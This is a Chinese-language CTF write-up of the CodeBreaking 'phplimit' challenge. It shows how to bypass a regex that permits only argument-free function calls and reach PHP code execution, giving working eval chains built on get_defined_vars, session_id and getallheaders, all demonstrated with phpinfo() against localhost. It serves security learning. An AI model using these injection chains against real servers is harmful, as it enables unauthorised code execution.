PHP无参数实现RCE

最近在学习和总结代码审计的一些奇淫技巧,正好看到codebreaking上的题目,去年做的时候还是没什么头绪,所以准备完整学习总结下,预计会多写几篇这样的技巧记录,多学习一些tricks顺便还能开阔眼界。

示例背景

以codebreaking的phplimit题目为例,我们以实现RCE为目的来进行分析

题目代码

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

首先我们简单分析下正则部分

[^\W]的意思是包括所有数字字母和下划线,而((?R)?)表示重复进行整个模式

这意味着我们需要输入可以循环嵌套的字符串,也就意味着如果我们输入一个有参数的函数,将不会成功的匹配正则

所以输入点我们虽然可以输入函数,但是不能输入有参数的函数

下面讨论下bypass的方法

nginx下的利用

基于get_defined_vars()函数的利用

我们看一下该函数的官方文档

1.jpg

我们可以通过定义新的变量来控制该函数的返回值

例如下面这样

2.jpg

array(4) { ["_GET"]=> array(2) { ["yml"]=> string(4) "cool" ["code"]=> string(29) "var_dump(get_defined_vars());" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } } 

我们可以使cool变成我们想要执行的代码,例如phpinfo();

http://127.0.0.1/demo5.php?yml=phpinfo();&code=var_dump(get_defined_vars());

3.jpg

然后我们现在要想办法将我们想执行的代码从数组中提取出来

用到下面几个函数

4.jpg

先用current函数取出get键值所对应的值

http://127.0.0.1/demo5.php?yml=phpinfo();&code=var_dump(current(get_defined_vars()));

4.jpg

然后再利用array_values函数

5.jpg

将数组的值重新组成一个数组

http://127.0.0.1/demo5.php?yml=phpinfo();&code=var_dump(array_values(current(get_defined_vars())));

6.jpg

再次利用current函数取出数组第一个值

http://127.0.0.1/demo5.php?yml=phpinfo();&code=var_dump(current(array_values(current(get_defined_vars()))));

7.jpg

将var_dump改成eval即可实现RCE

http://127.0.0.1/demo5.php?yml=phpinfo();&code=eval(current(array_values(current(get_defined_vars()))));

8.jpg

控制header头某些参数

我们可以控制header的某些参数来实现恶意代码的传输,这时我们需要利用code参数来传入一个获取header属性值的函数

head头中最常见的属性就是cookie了,我们可以利用session_id()这个函数

19.jpg

我们可以控制sessionid的值,然后用session_id()来获取sessionid

由于sessionid格式的限制,我们可以将想控制的参数转为16进制,然后在code处使用hex2bin函数将16进制数转字符串函数即可

我们实际测试一下

首先将phpinfo();转成16进制数

10.jpg

然后请求URL

http://127.0.0.1/demo5.php?code=eval(hex2bin(session_id()));

抓包修改cookie为phpinfo()的16进制

11.jpg

发现并没有执行phpinfo()

仔细分析我们的利用方式,通过对session机制的深入了解,在w3school发现了这个

12.jpg

此时更改我们请求的URL为

http://127.0.0.1/demo5.php?code=eval(hex2bin(session_id(session_start())));

再次进行上述操作,成功实现RCE

13.jpg

14.jpg

apache下的利用

当web服务器为apache时,nginx下的函数虽不能用,但是我们可以使用同样的思路,通过控制head头参数来实现RCE

我们可以使用getallheaders函数,来看一下官方文档

15.jpg

实际测试一下

http://127.0.0.1/demo5.php?code=var_dump(getallheaders());

返回信息

array(8) {
  ["Host"]=>
  string(9) "127.0.0.1"
  ["User-Agent"]=>
  string(73) "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0"
  ["Accept"]=>
  string(63) "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
  ["Accept-Language"]=>
  string(35) "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3"
  ["Accept-Encoding"]=>
  string(13) "gzip, deflate"
  ["DNT"]=>
  string(1) "1"
  ["X-Forwarded-For"]=>
  string(9) "127.0.0.1"
  ["Connection"]=>
  string(10) "keep-alive"
}

这样我们可以尝试控制host的值来传入我们的命令,如phpinfo();

16.jpg

为了将phpinfo();取出来,我们可以使用current函数

http://127.0.0.1/demo5.php?code=var_dump(current(getallheaders()));

17.jpg

将var_dump()改为eval()即实现RCE

http://127.0.0.1/demo5.php?code=eval(current(getallheaders()));

18.jpg

总结

虽然刚入手这一部分的知识感觉理解上很吃力,但是经过自己反复实际操作后,也弄清楚了很多细节,理清背景思路后回头思考会发现并没有那么困难,这也引发了我的一些思考,我们在平时学习某一块的知识时,不应该光看不做,只有实际操作后才会弄清很多细节,深刻理解这些技巧的精髓。